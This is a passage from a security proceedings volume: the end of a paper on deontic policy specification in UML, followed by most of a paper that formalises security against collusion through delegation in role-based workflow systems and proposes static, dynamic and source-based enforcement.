to the specification of permissions, obligations and prohibitions, respectively, in
Deontic STAIRS. There are, however, no explicit constructs in the syntax for
distinguishing between these interpretations. Conditional scenarios with a trig-
gering construct are supported in [23], but as for LSCs the composition of the
triggering scenario and the triggered scenario is that of strong sequencing. This
can be unfortunate in the specification of distributed systems in which entities
behave locally and interact with other entities asynchronously.

Triggered message sequence charts (TMSCs) [24] allow the specification of
conditional scenarios and is supported by compositional refinement. There is,
however, no support for distinguishing between permitted, obligated and pro-
hibited scenarios; a system specification defines a set of valid traces, and all other
traces are invalid.
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7 Conclusion and Future Work

In this paper we have shown that the deontic notions of standard deontic logic [4]
can be expressed in the UML by a conservative extension of the sequence dia-
gram notation, thus enabling policy specification. We have defined both a formal
notion of policy adherence and a formal notion of refinement. The refinement re-
lation is transitive and also supports a compositional policy development, which
means that individual parts of the policy specification can be developed sepa-
rately. The refinement relation also ensures that the enforcement of a low-level
policy specification implies the enforcement of the initial high-level specification.

Stepwise and compositional development of policy specifications is desirable as
it facilitates the development process. Policy analysis is furthermore facilitated
as analysis generally is easier and more efficient at abstract levels, and identified
flaws are cheaper to fix. However, for policy analysis to be meaningful at an
abstract level, the results must be preserved under refinement. In future work we
will analyze the refinement relation with respect to such property preservation,
particularly with respect to security, trust and adherence.

In the future we will also define language extensions to allow the specification
of constraints in the form of Boolean expressions that limit the applicability of
policy rules to specific system states. A refinement relation appropriate for this
extension will also be defined.

Acknowledgments. The research on which this paper reports has been funded
by the Research Council of Norway through the projects ENFORCE (164382/
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Abstract. Delegation is a mechanism that allows a user A to act on another user
B’s behalf by making B’s access rights available to A. It is well recognized as
an important mechanism to provide resiliency and flexibility in access control
systems, and has gained popularity in the research community. However, most
existing literature focuses on modeling and managing delegations. Little work has
been done on understanding the impact of delegation on the security of existing
access control systems. In particular, no formal notion of security with respect to
delegation has been proposed. Many existing access control systems are designed
without having delegation in mind. Simply incorporating a delegation module
into those systems may cause security breaches.

This paper focuses on the security aspect of delegation in access control sys-
tems. We first give examples on how colluding users may abuse the delegation
support of access control systems to circumvent security policies, such as separa-
tion of duty. As a major contribution, we propose a formal notion of security with
respect to delegation in access control systems. After that, we discuss potential
mechanisms to enforce security. In particular, we design a novel source-based en-
forcement mechanism for workflow authorization systems so as to achieve both
security and efficiency.

1 Introduction

User-to-user delegation, or delegation for short, is a mechanism that allows a user A to
act on another user B’s behalf by making B’s access rights available to A. It is well
recognized as an important mechanism to provide resiliency and flexibility in access
control systems. For example, when a user is unable to perform a task due to sickness,
he/she may delegate the privileges to another user so that the latter user can use the
privileges to complete the task on time.

Delegation has received significant attention from the research community. A num-
ber of delegation models have been proposed [2,3,8,16,15,11,1,7,6] and most of them
are for Role-Based Access Control (RBAC). In contrast to normal access right admin-
istration operations, which are performed centrally, delegation operations are usually
performed in a distributed manner. That is to say, users have certain control on the del-
egation of their own rights. In order to prevent abuse, some delegation models support
specification of authorization rules, which control who can delegate what privileges to
other users as well as who can receive what privileges from others.

Essentially, a delegation operation temporarily changes the access control state so as
to allow a user to use another user’s access privileges. Due to its effect on access control
states, delegation may lead to violation of security policies, especially static separation
of duty policies. For instance, if roles r1 and r2 are mutually exclusive, a user who is a
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member of r1 should not be allowed to receive r2 from others through delegation. Such
a security requirement can be enforced using delegation authorization rules.

Delegation may be viewed as a module that introduces additional functionalities into
access control systems. An important class of access control systems that greatly bene-
fit from delegation is workflow authorization system. A workflow divides a task into a
set of well-defined sub-tasks (called steps in this paper). Security policies in workflow
authorization systems are specified using authorization constraints. Example authoriza-
tion constraints are “Steps 1 and 2 must be performed by the same user” and “Steps 3
and 4 must be performed by two users without conflicts of interests”. The modeling of
workflow authorization systems has been studied in [4,5,10,14,12]. But only [14] con-
siders the support of delegation. In other words, many existing workflow authorization
systems are designed without delegation in mind.

To enhance existing access control systems with delegation, one needs to incorpo-
rate a delegation module into those systems. A naive approach is to place the delega-
tion module on top of the access control module, and let the delegation module handle
delegation operations and manipulate access control configuration. For example, when
Alice delegates the role r to Bob, the access control configuration is modified so that
Bob is authorized for r in the new configuration. The underlying access control module
consults the access control configuration without concerning delegation. Even though
such a naive approach is simple and allows reusing existing implementation of access
control modules, it introduces security breaches into the system. As we point out in
Section 3.1, colluding users could exploit such breaches to circumvent security policies
in the access control system. Due to the decentralized nature of delegation and the fact
that not all the users in the system are trusted, collusion is a threat that must not be
overlooked.

Since the naive approach could be insecure, more sophisticated methods are needed
to create a secure system with delegation support. Surprisingly, even though delegation
is well recognized as a very useful component of access control systems, to our knowl-
edge, no work has performed in-depth study on how to incorporate a delegation module
into access control systems in a secure manner.

This paper focuses on the security aspect of delegation in access control systems.
We formally define the notion of security with respect to delegation. Intuitively, if an
access control system is secure, then any group of users cannot “enhance the power”
(i.e. become capable to complete more tasks than before) of the group through mutual
delegation within the group. To justify this intuition, by delegating her privileges to user
A, user B allows A to work on her behalf. This indicates that A gains no more than what
B has, and thus, A should not be able to do more than A and B together can do before
the delegation operation. This further implies that, after the delegation operation, A and
B as a group cannot do more than before. If a system does not have such a property,
when A and B collude, they may gain extra power by delegating privileges to each
other. In that case, a group of colluding users can do more than they are supposed to
do with the “help” of delegation, and the system is thus considered to be insecure with
respect to delegation.

The rest of the paper is organized as follows. In Section 2, we provide definitions
used in this paper. In Section 3, we give examples on how colluding users may bypass
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security policies using delegation, and then we provide a formal definition of security
with respect to delegation. After that, we study enforcement mechanisms for delegation
security in Section 4 and design a secure workflow system in Section 5. Finally, we
discuss related work in Section 6 and conclude in Section 7.

2 Definitions

In this paper, we focus on role-based access control systems. Delegation models could
be complicated. To create a delegation model, one needs to decide on a number of
features, such as whether to allow partial delegation (i.e. delegating a portion of the
permissions of a role), whether users can further delegate the privileges they received,
how revocations are performed and so on. In order to describe the problem in a precise
manner, we focus on a specific model rather than considering all possible options. How-
ever, our ideas and arguments will apply to delegation models with different features
from ours.

In this section, we formalize delegation operations as access control state transition
operations. We provide precise definitions on access control states, state transition rules
and access control systems.

States (γ): We assume that there are three countable sets: U (the set of all possible
users), R (the set of all possible roles), P (the set of all possible permissions).

Definition 1 (Access Control State). An access control state γ is given as a 4-tuple
〈UR,PA,DR, B〉, where UR ⊆ U × R is user-role membership, PA ⊆ P × R is
permission-role assignment, DR ⊆ U ×U ×R×{“g”, “t”} is delegation relation, and
B is a set of binary relations between users.

The user-role membership UR should not be confused with the user-role assignment
relation UA in RBAC. When an RBAC system has both UA and a role hierarchy RH ,
the two relations UA and RH together determine UR. In other words, our notion of
state abstracts away the details about how users gain role memberships.

In the delegation relation DR, (u1, u2, r, “g”) indicates that u1 has delegated the role
r to u2 via a grant operation, while (u1, u2, r, “t”) indicates that u1 has delegated the
role r to u2 via a transfer operation. The difference between grant and transfer will be
discussed later in this section.

The binary relations defined in B will be useful in constraint specification in work-
flows. Examples on binary relations are “be a supervisor of” and “have conflicts of
interests”.

Given a state γ, each user has a set of roles for which the user is authorized. A user
is authorized for a role r if and only if he/she is a member of r or he/she received r
from another user through delegation. We formalize this by defining a function authR :
U × Γ → 2R, where Γ is the set of all states.

authR(u, 〈UR,PA,DR, B〉) = {r | (u, r) ∈ UR
∨ ∃u′((u′, u, r, “g”) ∈ DR ∨ (u′, u, r, “t”) ∈ DR)}

When a user u is authorized for the role r, he/she is authorized for the permissions
assigned to r.



320 Q. Wang, N. Li, and H. Chen

Delegation and State Transition: First of all, we introduce the notations related to
delegation. Assume that Alice delegates the role Accountant to Bob. In such an op-
eration, Alice , who is the granter of privilege, is called delegator; Bob , who is the re-
ceiver of privilege, is called delegatee; the role Accountant is the delegated privilege.
We assume that each delegation operation has only one delegated privilege. If a user
wants to delegate multiple privileges to the same receiver, he/she can perform multiple
delegation operations.

A delegation operation is essentially an access control state transition operation,
which takes one of the following three forms:

– grant(u1, u2, r): user u1 grants role r to user u2. After the delegation operation,
u2 gains r and u1 still keeps r.

– trans(u1, u2, r): user u1 transfers role r to user u2. After the delegation operation,
u2 gains r and u1 (temporarily) loses r.

– revoke(u1, u2, r): user u1 revokes the delegated privilege, role r, from u2.
Note that a user can grant or transfer only the roles he/she is a member of to others.

To simplify delegation relation, we assume that a delegatee cannot further delegate the
delegated privilege to other users, and only the corresponding delegator can revoke the
delegated privilege from the delegatee.

Since delegation is performed in a distributed manner, in the sense that everyone may
perform delegation operations, it is undesirable to allow a user to delegate his/her roles
in a completely unrestricted way. Delegation operations are thus subject to the control
of authorization rules, which takes one of the following three forms:

– can grant(cond, r): a user who satisfies condition cond can grant r to other users,
where cond is an expression formed using roles, the binary operators ∧ and ∨, the
unary operator ¬, and parentheses.

– can transfer(cond, r): a user who satisfies condition cond can transfer r to other
users.

– can receive(cond, r): a user who satisfies condition cond can receive r from other
users.
For example, the rule can receive(Clerk∧¬Treasurer, Accountant) states that
anyone who is a member of Clerk but not a member of Treasurer can receive
the role Accountant.

Definition 2 (Administrative State). An administrative state consists of a set RL of
authorization rules. Given RL, a delegation operation grant(u1, u2, r) (or similarly,
trans(u1, u2, r)) succeeds in the state 〈UR,PA,DR, B〉 if and only if

(u1, r) ∈ UR ∧ can grant(c1, r) ∈ RL ∧ (u1 satisfies c1)
∧ can receive(c2, r) ∈ RL ∧ (u2 satisfies c2)

Otherwise, the delegation operation fails.

To simplify management, we assume that if a user u1 granted or transferred a role r to
u2 and has not revoked r from u2 yet, then u1 can neither grant nor transfer r to u2

again. That is to say, at any moment, a user may receive a role from the same user at
most once. But a user may receive the same role from different users.

We use γ →RL
op γ′ to denote the state transition from γ to γ′ after applying the

delegation operation op under administrative state RL. Let γ = 〈UR,PA,DR, B〉.
The state transition rules are described as follows:
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– op = grant(u1, u2, r): If op fails, then γ′ = γ. Otherwise, γ′ =
〈UR,PA,DR′,B〉, where DR′ = DR ∪ {(u1, u2, r, “g”)}.

– If op = trans(u1, u2, r): If op fails, then γ′ = γ. Otherwise, γ′ =
〈UR′,PA,DR′,B〉, where UR′ = UR/{u1, r} and DR′ = DR ∪
{(u1, u2, r, “t”)}.

– If op = revoke(u1, u2, r): There are three cases. Let γ′ = 〈UR′,PA,DR′,B〉.
• If (u1, u2, r, “g”) ∈ DR, then UR′ = UR and DR′ = DR/{(u1, u2, r, “g”)}.
• If (u1, u2, r, “t”) ∈ DR, then UR′ = UR ∪ {(u1, r)} and DR′ =

DR/{(u1, u2, r, “t”)}.
• Otherwise, γ′ = γ. It indicates that u2 did not receive r from u1 in γ, and thus

the revocation fails.

Note that PA and B are not affected by state transition rules.
With the above state transition rules, we may apply a sequence Q of delegation op-

erations one by one to γ and acquire γ′. We say that γ′ is reachable from γ under
administrative state RL, which is denoted as γ �RL

Q γ′.

Workflow and Access Control Systems: In this paper, a task is modeled as a workflow,
which divides the task into a number of well-defined steps.

Definition 3 (Workflow and Constraints). A workflow is represented as a tuple 〈S,≺
, C〉, where S is a set of steps, ≺⊆ S × S defines a partial order among steps in S, and
C is a set of constraints. s1 ≺ s2 indicates that s1 must be performed before s2.

A constraint takes the form of ct〈s1, s2, ρ〉, where s1 and s2 are two steps and ρ is
a binary relation between users. Let u1 and u2 be the users who perform s1 and s2,
respectively. ct〈s1, s2, ρ〉 is satisfied if and only if (u1, u2) ∈ ρ.

Binary relations between users play an important role in constraint specification in ex-
isting workflow models [4,5,10,12]. Equality (=) and inequality ( �=) relations are most
common ones, and they are supported by almost all existing models. Besides “=” and
“ �=”, user-defined binary relations, such as “have conflicts of interests”, are supported
by the workflow defined in Definition 3.

We call c = ct〈s1, s2, ρ〉 a constraint on s1 and s2. If s1 is executed later than s2,
then c is checked upon the execution of s1; otherwise, c is checked upon the execution
of s2.

In an access control state, the permissions to perform steps in workflows are assigned
to roles. Given an access control state γ = 〈UR,PA,DR, B〉, we say that a user u is
authorized to perform a step s (or u is an authorized user for s), if and only if there
exists a role r such that r ∈ authR(u, γ) and (ps, r) ∈ PA, where ps is the permission
to perform s.

When a task is performed, an instance of the corresponding workflow is created. In
order to complete the workflow instance, every step of the workflow instance must be
assigned to an authorized user and such assignments must not violate any constraint
specified in the workflow. Note that during the execution of the workflow instance, the
access control state may change due to delegation. We only need to ensure that a user is
authorized to perform a step at the moment the step is performed. Constraint evaluation,
which depends on user relations, is not affected by state changes, because the set B of
user relations will not be modified by delegation operations.

An access control system with delegation support is defined in below.
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Definition 4 (Access Control System). An access control system is represented as a
3-tuple 〈γ, W,RL〉, where γ is the initial access control state, W is a set of workflows
and RL is the administrative state.

We assume that in the initial state γ = 〈UR,PA,DR, B〉 of an access control system,
we always have DR = ∅. That is to say, no delegation operations have been performed
in the initial state.

3 The Security of Delegation

We have provided precise definitions related to delegation and access control systems.
In this section, we study the impact of delegation on the security of access control
systems. First, we give examples on delegation-based attacks on access control systems.
Second, we formally define the notion of security with respect to delegation in access
control systems.

3.1 Circumventing Security Policies Using Delegation

In this section, we consider how malicious users may collude to circumvent security
policies in access control systems. We present two examples describing two scenarios,
in which colluding users successfully complete those tasks that they would not be able
to complete without the “help” of delegation. After each example, we summarize the
characteristic of the attack in the scenario.

Example 1. In an institution, a sensitive task t must be completed by a single user who
is a member of both roles r1 and r2. Task t is modeled as workflow w1 = 〈S,≺, C〉,
where S = {s1, s2}, s1 ≺ s2 and C = {ct〈s1, s2, =〉}. Permissions to perform s1

and s2 are assigned to r1 and r2, respectively. The constraint in C requires that the two
steps must be performed by the same user, which enforces that an instance of w1 can
be completed only by a user who is a member of both r1 and r2.

Alice and Bob are employees of the institution. Alice is a member of r1 but not r2,
while Bob is a member of r2 but not r1. Clearly, neither Alice nor Bob is qualified to
complete an instance of w1. However, if Alice delegates (either by grant or transfer) r1

to Bob, then Bob is authorized to perform both s1 and s2 and he is thus able to complete
an instance of w1. In other words, if Alice and Bob collude, they can complete a task
which they should not be able to complete.

In Example 1, Alice “lends” her role membership of r1 to Bob to make him more
“powerful” than before. The example demonstrates that, using delegation, a group of
colluding users may create a “more powerful” user by aggregating role memberships of
different individuals in the group. In that case, security policies that require a single user
(rather than multiple users) with multiple role memberships to complete a task could be
circumvented.

Example 2. In a company, the task of issuing checks is modeled as a workflow
consisting of two steps spre and sapp , which stand for “check preparation” and
“approval”, respectively. In order to prevent fraudulent transactions, spre and sapp

must be performed by two different members of the role Treasurer (or two
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Treasurers for short). The workflow can be represented as w2 = 〈S,≺, C〉,
where S = {spre , sapp}, spre ≺ sapp and C = {ct〈spre , sapp , �=〉}. Also,
for the sake of resiliency, the company allows a Treasurer to transfer his/her
role to a Clerk in case he/she is not able to work due to sickness or some
other reasons. In other words, can transfer(Treasurer, Treasurer) ∈ RL and
can receive(Clerk, Treasurer) ∈ RL.

Alice and Bob are employees of the company and they decided to collude to issue
checks for themselves. Alice is a Treasurer, while Bob is a Clerk and is thus not
qualified to perform any step in w2. To achieve the goal, Alice and Bob do the followings:

1. Alice performs trans(Alice,Bob, Treasurer), which makes Bob a member of the
role Treasurer.

2. Bob performs spre to prepare a check for Alice .
3. Alice performs revoke(Alice,Bob, Treasurer) to revoke Treasurer from Bob

and regains the role.
4. Alice performs sapp to approve the check prepared by Bob.

What the workflow system sees is that spre and sapp are performed by two different
users. Thus, the constraint ct〈spre , sapp , �=〉 is satisfied and the operation succeeds.

After all of the above being done, a check is issued and Alice and Bob may share
the money.

In Example 2, Alice’s role membership of Treasurer is used twice by two dif-
ferent users in the same workflow instance. This example demonstrates that colluding
users can make “copies” of their access privileges using delegation to bypass security
constraints that enforce separation of duty.

3.2 Formal Definition of Security

We have seen examples on how colluding users may circumvent security policies in
access control systems with the help of delegation. It is clear that if an access control
system allows colluding users to bypass security policies, then the system is insecure.
But, how can we tell whether a security policy has been circumvented by delegation
operations? What should a “secure” system look like? We answer these fundamental
questions by formally defining the notion of security with respect to delegation.

First of all, we present a general definition of security, which is independent of the
concrete design of access control systems. Given an access control system, we define
the predicate can complete, such that can complete(t, U1, U2, γ) is “true” if and only
if users in U1 together can complete task t when the initial access control state is γ
and only users in U2 can perform delegation operations. The concrete definition of
can complete depends on how tasks are modeled and the concrete design of access
control systems. We say that a group of users becomes more powerful (or gain power
enhancement) when they eventually complete a task that they are not able to complete
in the initial state (delegation is needed to change the state in this case). Intuitively, if an
access control system is secure with respect to delegation, then a group of users cannot
enhance the power of the group by performing delegation operations within the group.
The following definition formally states such an intuition.
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Definition 5 (Security). An access control system with initial access control state γ is
secure with respect to delegation if and only if the following is true:

∀t∈T∀U⊆U can complete(t, U, U, γ) ⇒ can complete(t, U, ∅, γ)
where T is the set of all tasks and U is the set of all users in the system.

In the above definition, can complete(t, U, U, γ) is “true” if and only if users in U
together can complete t when the initial state is γ and delegation is available in such
a way: the users may perform delegation operations to change the access control state,
but no user outside of U is allowed to perform delegation operations. That is to say,
users in U cannot get “help” from outsiders. In contrast, can complete(t, U, ∅, γ) is
“true” if and only if users in U together can complete t in state γ and no delegation
operation is allowed. In general, Definition 5 essentially states that, in a secure access
control system, if a set of users can complete a task without receiving any privilege
from outsiders, then they must be able to compete the task without delegation at all.
That is to say, delegation does not enable a set of users to enhance their own power by
themselves.

The notion of security introduced in Definition 5 respects the definition of delegation.
Delegation is defined as a mechanism that allows a user A to act on another user B’s
behalf by making B’s access rights available to A. Let γ and γ′ be the states before and
after a delegation operation from B to A, respectively. The fact that A is working on
B’s behalf in γ′ indicates that A should not be able to do more than A and B together
(i.e. {A, B}) can do in γ. Furthermore, since B does not gain anything by delegating
his/her privileges to A, {A, B} in γ′ cannot be more powerful than {A, B} in γ. By
generalizing such an argument to groups with arbitrary number of users, we acquire the
notion of security in Definition 5.

We now illustrate the effect of delegation in a secure access control system by giving
an example. Assume that Alice grants (or transfers) a role r to Bob . Then, Bob may
become more powerful by acquiring r. Furthermore, every group G such that Bob ∈
G and Alice �∈ G may become more powerful as well, because one of its member
(Bob) received a privilege from an outsider (Alice). However, every group G′ such that
Alice,Bob ∈ G′ should not gain power enhancement. Otherwise, G′ enhances its own
power after a delegation operation between its members and the access control system
is insecure by Definition 5. In general, in a secure access control system, a group of
users may gain power enhancement only if they receive privileges from outsiders.

Definition 5 is general and independent of concrete access control systems. In this
paper, tasks are modeled as workflows. Using the definitions in Section 2, we provide a
more concrete definition of security in below.

Definition 6 (Secure Workflow System). An access control system 〈γ, W,RL〉 is se-
cure with respect to delegation if and only if an adversary can never win the one-person
game described in Figure 1.

Note that in the above game, the effect of delegation operations is subject to RL. The
adversary can perform a sequence of delegation operations to change the access control
state at the beginning of each round. The game allows delegation operations between
the execution of two steps (i.e. between two rounds) so that users can perform revo-
cation to regain the roles that were transferred to other users in previous rounds. This
gives the adversary more advantages than allowing the adversary to perform delegation
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Round 0:
The adversary selects a workflow w ∈ W and a set U of users, such that U cannot complete w in γ without delegation.
If such a combination of w and U does not exist, then the adversary loses (in this case, the system is trivially secure
as everyone is able to complete every task). PP ← ∅ and SS ← S, where PP records past user-step assignments
and SS records the remaining steps. i ← 1 and γ0 ← γ.

Round i:
1. The adversary designs a sequence Qi of delegation operations such that every delegation operation in Qi in-

volves only users in U 1. The adversary applies Qi to γi−1 and acquires a new state γi.
2. The adversary selects a step s from SS such that ∀s′∈S(s′ ≺ s ⇒ s′ 
∈ SS). The adversary selects a user

u from U as well.
If u is not authorized for s in γi, then the adversary loses.
Otherwise, PP ← PP ∪ {(u, s)} and SS ← SS/{s}.

3. If SS = ∅, then
If no constraint in C is violated by PP , then the adversary wins;
Otherwise, the adversary loses.

Otherwise, i ← i + 1 and the game continues to the next round.

Fig. 1. Description of the game in Definition 6

operations only at the beginning of the game. In Example 2, delegation operations are
performed between the execution of two steps.

The adversary winning the game indicates that there exist a group of users that can
enhance themselves with the help of delegation. In that case, the access control system
is vulnerable to collusion and is thus insecure with respect to delegation.

4 Enforcing the Security of Delegation

We have defined the formal notion of security with respect to delegation. A natural
next step is to study mechanisms to enforce security. In this section, we study two
approaches, static enforcement and dynamic enforcement. In static enforcement, se-
curity is ensured by careful design of administrative state. In dynamic enforcement,
a verification procedure is performed by the end of the execution of each workflow
instance to ensure that the participants have not enhanced their own power through del-
egation. In Section 5, we propose a third approach, the source-based enforcement mech-
anism, which employs a novel security policy evaluation method that is customized for
delegation.

4.1 Static Enforcement

Given a set of workflows and an initial access control state, a straightforward approach
to enforce security is to carefully design the administrative state RL so that no “dan-
gerous” delegation operation would succeed. For instance, in Example 1, if RL does
not allow members of r2 to receive r1 and vice versa, the collusion between Alice and
Bob could not succeed. Such an enforcement mechanism is called static enforcement,
as the security of the system relies on (administrative) state configuration and can be
verified in an off-line manner. An access control system that enforces security via a
static enforcement mechanism is called a statically secure system.

The advantage of static enforcement is that, if we have already implemented an ac-
cess control system with delegation support, we just need to modify the administrative



326 Q. Wang, N. Li, and H. Chen

state to enforce security. There is no need to change the existing implementation. How-
ever, static enforcement could make the administrative state more restrictive than neces-
sary. For instance, assume that there are two workflows w1 and w2 in the system. Alice
and Bob are two users who are not supposed to complete w1. But the system setting is
such that if Alice can successfully grant or transfer role r to Bob, then Alice and Bob
together can complete w1. In order to prevent the potential collusion between Alice and
Bob, the administrative state must prevent Alice from delegating r to Bob. But this is
too restrictive as Bob may only intend to perform w2 (instead of w1) after receiving
r, which could be allowed. But static enforcement mechanism does not take the actual
usage of delegated privileges into account. Finally, the design of the administrative state
is usually subject to administrative policies as well as practical considerations. It may
be undesirable to dramatically alter the administrative state due to security concerns,
for security should not significantly affect the usability of the system.

4.2 Dynamic Enforcement

Static enforcement is too restrictive as it does not take into account how delegatees
use the delegated privileges. This motivates the proposal of dynamic enforcement for
delegation security.

To begin with, we describe the high-level idea of dynamic enforcement. In dynamic
enforcement, the initial state γ of the access control system is recorded. For every work-
flow instance X , the system maintains a list UX of the participants for the instance.
Every user who executed a step of X is added to UX . When a user u requests to exe-
cute a step s, the system checks whether he/she needs to use a delegated privilege. If a
delegated privilege r should be used by u to perform s, then both u and the delegator of
the privilege are added to UX . Note that if u has received r from multiple delegators,
u has to specify the delegator of r for the execution of s. At the end of the instance,
the system checks whether the users in UX can complete the workflow in γ without
delegation. If they can, then the execution of X is confirmed. Otherwise, the system
gives warning that users in UX have enhanced their own power through delegation. The
execution of X is rejected.

The problem of checking whether a set of users can complete a workflow in an access
control state without delegation is called the Workflow Satisfaction Problem (WSP).

Definition 7 (Workflow Satisfaction Problem). Given a set U of users, a workflow
w = 〈S,≺, C〉 and an access control state γ, the Workflow Satisfaction Problem (WSP)
asks whether we can assign a user u ∈ U to every step s ∈ S such that u is authorized
for s in γ and no constraint in C is violated by the overall assignments. An instance of
WSP is denoted as wsp(U, w, γ).
Detailed description of dynamic enforcement is given in Figure 2. Dynamic enforce-
ment ensures that a workflow instance may be successfully completed only if the par-
ticipants (including those users who perform a step and those delegators who contribute
necessary privileges through delegation operations) can complete the same workflow
instance in the initial state. Hence, the correctness of dynamic enforcement follows
directly from Definition 5.

Dynamic enforcement monitors the usage of delegated privileges rather than placing
restrictions on administrative states. It is thus less restrictive and more practical than
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Let γ be the initial state of the access control system. For every workflow instance, the system does the followings. Let X
be an instance of workflow w.

– When X is created: UX ← ∅
– When a step s is performed by a user u: Let ps be the permission to perform s and γ′ = 〈UR, PA, DR, B〉 be the

current state.

• If there exists a role r such that ((u, r) ∈ UR ∧ (ps, r) ∈ PA), then UX ← UX ∪ {u}.
This indicates that u can use his/her own privilege to perform the step.

• Otherwise, u specifies a user u′ such that ((u′, u, r) ∈ DR ∧ (ps, r) ∈ PA). UX ← UX ∪ {u, u′}.
This indicates that u is using a delegated privilege r received from u′ to perform the step. When the choice of
u′ and r is unique, the system may do the selection itself rather than asking the user to specify the choice.

– After X is finished: The system solves wsp(UX , w, γ). If the answer to wsp(UX , w, γ) is “yes”, then the result of
X is confirmed; otherwise, the result of X is voided and necessary roll-back is performed.

Fig. 2. Description of dynamic enforcement

static enforcement. However, dynamic enforcement introduces a performance overhead
as the system needs to solve a WSP instance by the end of every workflow instance. It
has been proved in [12] that WSP is NP-complete, which indicates that the runtime
overhead of dynamic enforcement for each workflow instance could be exponential in
the size of the workflow.

In real-world, the number of steps in a workflow is normally small. Hence, it is
possible that the performance of dynamic enforcement is acceptable in practice. Also,
dynamic enforcement does not require changing existing implementation of workflow
modules. All we need to do is to add a module to the system to perform recording and
the closing verification procedure for workflow instances.

5 A Secure Workflow System

We have discussed two mechanisms to enforce delegation security in access control
systems. Even though both approaches have the advantage of allowing the reuse of
existing workflow implementation, they have major drawbacks: static enforcement is
too restrictive and dynamic enforcement may introduce large performance overhead. A
natural question is, if we are willing to redo the workflow module, can we have a better
mechanism to enforce delegation security?

In this section, we propose the source-based enforcement mechanism, which em-
ploys a novel method to evaluate constraints in workflow systems. We describe the idea
of source-based enforcement mechanism by presenting a design of a secure workflow
system. Our workflow system is secure with respect to Definition 6 and introduces al-
most no performance overhead.

The high-level idea of source-based enforcement is that, when a user Alice requests
to perform a step s of a workflow instance, he/she must specify the privilege to be used
and the source of the privilege. For instance, assume that Alice requests to perform a
step s with role r. If Alice is a member of r, then Alice may specify herself as the
source of r. If Alice received r from others, then Alice may pick a delegator of r and
specify the delegator as the source. Note that, even if Alice is a member of r herself,
she may still specify another user as the source of r as long as she has received r from
that user.

Given the privilege r and its source uo specified by Alice , the system checks the
constraints on s as if it is uo rather than Alice who is performing s. For example, assume
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that workflow w consists of two steps s1 and s2, both of which can be performed by
members of role Accountant. There is a constraint in w, which states that the users
who perform s1 and s2 must not have conflicts of interests. Assume that Alice has
executed s1 using her own membership of Accountant. Now, Carl tries to use the
delegated privilege Accountant received from Bob to perform s2. Instead of checking
conflicts of interests between Carl and Alice as what traditional workflow systems do,
our system checks conflicts of interests between Bob and Alice. The intuition is that,
since Carl is using a delegated privilege from Bob , he is working on Bob’s behalf.
Hence, Bob and Alice must not have conflicts of interests. By evaluating constraints in
this way, we can ensure that the system is secure with respect to delegation.

Sometimes, in addition to sources of privileges, we want to take the actual performers
into account while evaluating constraints. To achieve this, our system supports two
types of constraints. Type-1 constraint only ensures that the sources of privileges satisfy
the constraint; Type-2 constraint is more restrictive: if either the actual performer or
the source violates the constraint, then the constraint is violated. For instance, if the
constraint in the example in the previous paragraph is a Type-2 constraint, then Alice
must not have conflicts of interests with either Bob (source) or Carl (actual performer).

Next, we describe the design of a secure workflow system, which employs the
source-based enforcement mechanism.
System Description: The system adopts the representations of access control state and
the state transition rules introduced in Section 2. The only major change in this system
is the way workflow constraints are evaluated.

A workflow is represented as 〈S,≺, C〉, where S is a set of steps, ≺ ⊆ S×S defines
a partial order among steps in S, and C is a set of constraints. s1 ≺ s2 indicates that s1

must be performed before s2.
A constraint takes the form of ct〈s1, s2, ρ, i〉 where s1 and s2 are two steps, ρ is a

binary relation between users and i = 1 or 2. When i = 1, the constraint is of Type-1,
while when i = 2, the constraint is of Type-2.

Let w = 〈S,≺, C〉. γ = 〈UR,PA,DR, B〉 is the current access control state. When
a user u requests to perform a step s of an instance X of w, u presents a pair 〈uo, r〉,
where uo is a user identity and r is a role. uo is called the source of r. The pair 〈uo, r〉
is valid if and only if one of the followings is true:

– u = uo ∧ (u, r) ∈ UR. In other words, u is using his own role membership to
perform s.

– u �= uo ∧ ((uo, u, r, “g”) ∈ DR ∨ (uo, u, r, “t”) ∈ DR). That is to say, uo has
granted or transferred r to u and u requests to perform s on uo’s behalf.

With the pair 〈uo, r〉, u can successfully execute s if and only if both of the follow-
ings hold:
1. u is authorized to perform s with role r. That is, (ps, r) ∈ PA, where ps is the

permission to perform s.
2. No constraint is violated. That is, for every constraint c on s:

– Case c = ct〈s, s′, ρ, 1〉: (uo, u
′
o) ∈ ρ, where u′

o is the source of the privilege
used to perform s′. The case c = ct〈s′, s, ρ, 1〉 is similar.

– Case c = ct〈s, s′, ρ, 2〉: (u, u′) ∈ ρ∧ (uo, u
′) ∈ ρ∧ (u, u′

o) ∈ ρ∧ (uo, u
′
o) ∈ ρ

where u′ is the user who actually performed s′ and u′
o is the source of the

privilege used to perform s′. The case c = ct〈s′, s, ρ, 2〉 is similar.
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Note that in the first case, c is a Type-1 constraint and only the sources must satisfy
the constraint. In the latter case, c is a Type-2 constraint, and both the sources and
the actual performers are taken into account.

After a step is executed, the system records the identities of both the actual performer
and the source of privilege for future reference.

The following example illustrates how the system works.
Example 3. In a bank, task t is modeled as a workflow w = 〈S,≺, C〉, where S =
{s1, s2}, s1 ≺ s2 and C = {ct〈s1, s2, �=, 1〉}. The permissions to perform s1 and s2

are assigned to r1 and r2, respectively. Alice is a member of r1 and Bob is a member
of r2.

Alice becomes too busy to work on t and would like to balance the workload with
Bob by delegating r1 to Bob. Let X be an instance of w. Bob performs s1 in X by pre-
senting 〈Alice, r1〉 to the system. The system records that Bob is the actual performer
of s1 in X and Alice is the source of privilege. Next, Bob requests to perform s2 in X
by presenting 〈Bob, r2〉, which indicates that himself is the source of r2. The system
found that the constraint ct〈s1, s2, �=, 1〉 needs to be checked. Since the constraint is
of Type-1, the system only considers the sources of privilege for s1 and s2, which are
Alice and Bob respectively. Because Alice �= Bob , the constraint is satisfied, and Bob
completes X . Note that this does not violate the notion of security, because Alice is
involved in X by allowing Bob to work on her behalf, and Alice and Bob together can
complete w before the delegation operation.

Now, assume that the constraint in C is of Type-2 (i.e. ct〈s1, s2, �=, 2〉). In this case,
Bob cannot complete w. When ct〈s1, s2, �=, 2〉 is checked, the system takes both the
actual performers and the sources into account. When the system compares the actual
performer of s1 with the source of privilege (or the actual performer) of s2, it has Bob =
Bob, which indicates that Bob �= Bob does not hold. Hence, the constraint is violated
and Bob is rejected from performing s2.

It is clear that Type-2 constraints provide stronger security than Type-1 constraints.
People may wonder why we support the seemingly less secure Type-1 constraints in
our system. First of all, as we will prove later in this section, Type-1 constraints are
sufficient to enforce the notion of security defined in Definition 6. Secondly, in certain
situations, we may gain flexibility by using Type-1 constraints. For instance, a workflow
may have a constraint c stating that s1 and s2 must be performed by the same user.
